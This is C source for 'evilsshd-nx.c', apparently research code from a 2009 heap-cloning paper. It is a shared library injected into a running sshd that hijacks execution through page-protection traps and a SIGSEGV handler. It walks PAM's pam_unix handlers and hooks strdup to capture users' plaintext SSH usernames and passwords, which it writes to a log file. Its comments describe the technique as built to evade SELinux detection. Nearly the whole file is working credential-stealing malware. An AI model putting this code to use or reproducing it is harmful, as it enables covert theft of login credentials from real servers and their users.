 *    notice, this list of conditions and the following disclaimer.
 * 3. Redistribution in binary form is not allowed.
 * 4. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *      This product includes software developed by Stealth.
 * 5. The name Stealth may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ‘‘AS IS’’ AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/* This is the SELinux-safe version of evilsshd.c. Since it does not
 * modify .text but only page protections, there is no way SELinux could
 * detect tampering of sshd. It’d probably also work to do some transition
 * to an "undefined_t" instead of doing the evil tricks as confined "sshd_t".
 * Yet, this is a research project so we could go a more complicated way
 * since it serves as an example to demonstrate self-debugging soley
 * based on page protections.
 * On Fedora 11, compile like
 *
 * # gcc -fPIC -shared -nostartfiles evilsshd-nx.c -DFEDORA11 -o /lib64/sshd.so
 * and then using injectso.
 *
 * This code is part of the ’Adventures in Heap Cloning’ research paper.
 * If you find this code without the paper, search for
 * SET-heap-cloning-2009 on the web.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <sys/mman.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <security/pam_modules.h>
#include <link.h>
#include <ucontext.h>
#include <elf.h>
#include <sys/time.h>

// the functions which have been hooked
static unsigned char *hooks[0x10] = {0, 0};

static char *user = NULL;
static FILE *flog = NULL;

typedef enum { PAM_FALSE, PAM_TRUE } pam_boolean;

// all the PAM declarations must match EXACTLY the targets
// PAM version and structs. Otherwise, walking the pam
// handler lists etc. is likely to produce SIGSEGV
struct handler {
        int handler_type_must_fail;
        int (*func)(void *pamh, int flags, int argc, char **argv);
        int actions[32];
        /* set by authenticate, open_session, chauthtok(1st)
```

```
         consumed by setcred, close_session, chauthtok(2nd) */
        int cached_retval; int *cached_retval_p;
        int argc;
        char **argv;
        struct handler *next;
        char *mod_name;
        int stack_level;
};

struct handlers {
        struct handler *authenticate;
        struct handler *setcred;
        struct handler *acct_mgmt;
        struct handler *open_session;
        struct handler *close_session;
        struct handler *chauthtok;
};

struct pam_handle {
        char *authtok;
        unsigned caller_is;
        void *pam_conversation;
        char *oldauthtok;
        char *prompt;
        char *service_name;
        char *user;
        char *rhost;
        char *ruser;
        char *tty;
        char *xdisplay;
#ifdef FEDORA11
        char *authok_type;
#endif
        void *data, *env;
        struct {
                pam_boolean set;
                unsigned int delay;
                time_t begin;
                void *delay_fn_ptr;
        } fail_delay;
        struct {
                int namelen;
                char *name;
                int datalen;
                char *data;
        } xauth;
        struct {
                void *loaded_module;
                int modules_allocated;
                int modules_used;
                int handlers_loaded;
                struct handlers conf;
                struct handlers other;
        } handlers;
};


void trapit(void *ptr, int idx)
{
        unsigned char *aligned = (unsigned char *)(((size_t)ptr) & ~4095);

        if (!ptr)
                return;
        // -1 indicates to only change back temporary +x
        if (idx >= 0)
                hooks[idx] = ptr;
        mprotect(aligned, 4096, PROT_READ);
}


void fixit(void *ptr)
{
        unsigned char *aligned = (unsigned char *)(((size_t)ptr) & ~4095);
        if (!ptr)
                return;
        mprotect(aligned, 4096, PROT_READ|PROT_EXEC);
}


void fixall()
{
        int i;
        for (i = 0; i < sizeof(hooks)/sizeof(hooks[0]); ++i)
                fixit(hooks[i]);
}


// lets hope its not mapped
```

```
static const greg_t magic_ip = 0x73507350;
static greg_t orig_ret, trap_ip;
static int done = 0;
pid_t parent_pid = 0;

static void sigtrap(int x, siginfo_t *si, void *vp)
{
        ucontext_t *uc = vp;
        void *arg = NULL;
        struct pam_handle *ph = NULL;
        struct handler *mod = NULL;
        pid_t pid = getpid();

        if (!parent_pid)
                parent_pid = pid;

#ifdef __x86_64__
        greg_t ip = uc->uc_mcontext.gregs[REG_RIP];
        arg = (void *)uc->uc_mcontext.gregs[REG_RDI];
#else
        // x86 is not implemented, I just show it to give an idea
        greg_t ip = uc->uc_mcontext.gregs[REG_EIP];
#endif
        fprintf(flog, "[%d] TRAP@ 0x%zx\n", pid, ip);

        // a trap due to modified "ret", correct it
        if (ip == magic_ip) {
                fprintf(flog, "[%d] corrected ret (0x%zx)\n", pid, orig_ret);
                uc->uc_mcontext.gregs[REG_RIP] = orig_ret;
                if (done) {
                        fixall();
                        return;
                }
                trapit((void *)trap_ip, -1);
                return;
        }

        if (done) {
                fixall();
                return;
        }

        // this is a finite state machine (FSM), we trap ourself forward
        // until we reach the final strdup() for the password
        // If the FSM is left, all hooks are cleaned up in target process
        // since the last state does not define new hooks
        if (ip == (greg_t)hooks[0]) {
                fixit(hooks[0]);
                ph = (struct pam_handle *)arg;
                mod = ph->handlers.conf.authenticate;
                do {
                        fprintf(flog, "[%d] TRAP1: loaded PAM modules: %s\n", pid, mod->mod_name);
                        if (strstr(mod->mod_name, "pam_unix"))
                                break;
                } while ((mod = mod->next) != NULL);

                // hook pam authenticate function
                if (mod != NULL)
                        trapit(mod->func, 1);
        } else if (ip == (greg_t)hooks[1]) {
                fixit(hooks[1]);

                ph = (struct pam_handle *)arg;
                fprintf(flog, "[%d] TRAP2: hooking strdup() user=%s\n", pid, ph->user);
                user = strdup(ph->user);
                // carefull to only hook after we used strdup() ourself
                trapit(dlsym(NULL, "strdup"), 2);
        } else if (ip == (greg_t)hooks[2]) {
                fixall();
                done = 1;
                fprintf(flog, "[%d] TRAP3: credentials: user=%s pwd=%s\n", pid, user, (char *)arg);
#ifndef FEDORA11
        // Since we dont modify pages, the protections are shared across childs.
        // Only child-sshd is the one which must trap strdup(). If a hook[1] is defined
        // and we are the parent and we are trapped at a function we dont
        // hook, it means we are all done.
        } else if (pid == parent_pid && hooks[1] != NULL) {
                fixall();
                done = 1;
                fprintf(flog, "[%d] parent trapped after in state 1. cleanup.\n", pid);
#endif
        // some other function inside a nx page was unintentionally trapped;
        // make page temorgary +x, and trap upon return of the function
        } else {
                fixit((void *)ip);
                fprintf(flog, "[%d] wrong hit at 0x%zx, redirecting...\n", pid, ip);
                orig_ret = *(greg_t *)uc->uc_mcontext.gregs[REG_RSP];
                trap_ip = ip;
```

```
                *(greg_t *)uc->uc_mcontext.gregs[REG_RSP] = magic_ip;
        }
        return;
}

void _init()
{
        struct sigaction sa;

        flog = fopen("/var/run/hooklog", "a");
        if (!flog)
                return;
        setbuffer(flog, NULL, 0);

        trapit(dlsym(NULL, "pam_set_item"), 0);

        memset(&sa, 0, sizeof(sa));
        sa.sa_sigaction = sigtrap;
        sa.sa_flags = SA_RESTART|SA_SIGINFO;
        sigaction(SIGSEGV, &sa, NULL);

        fprintf(flog, "initial hooking: pid=%d addr=%p ", getpid(), hooks[0]);
        fprintf(flog, "done\n");
        return;
}
```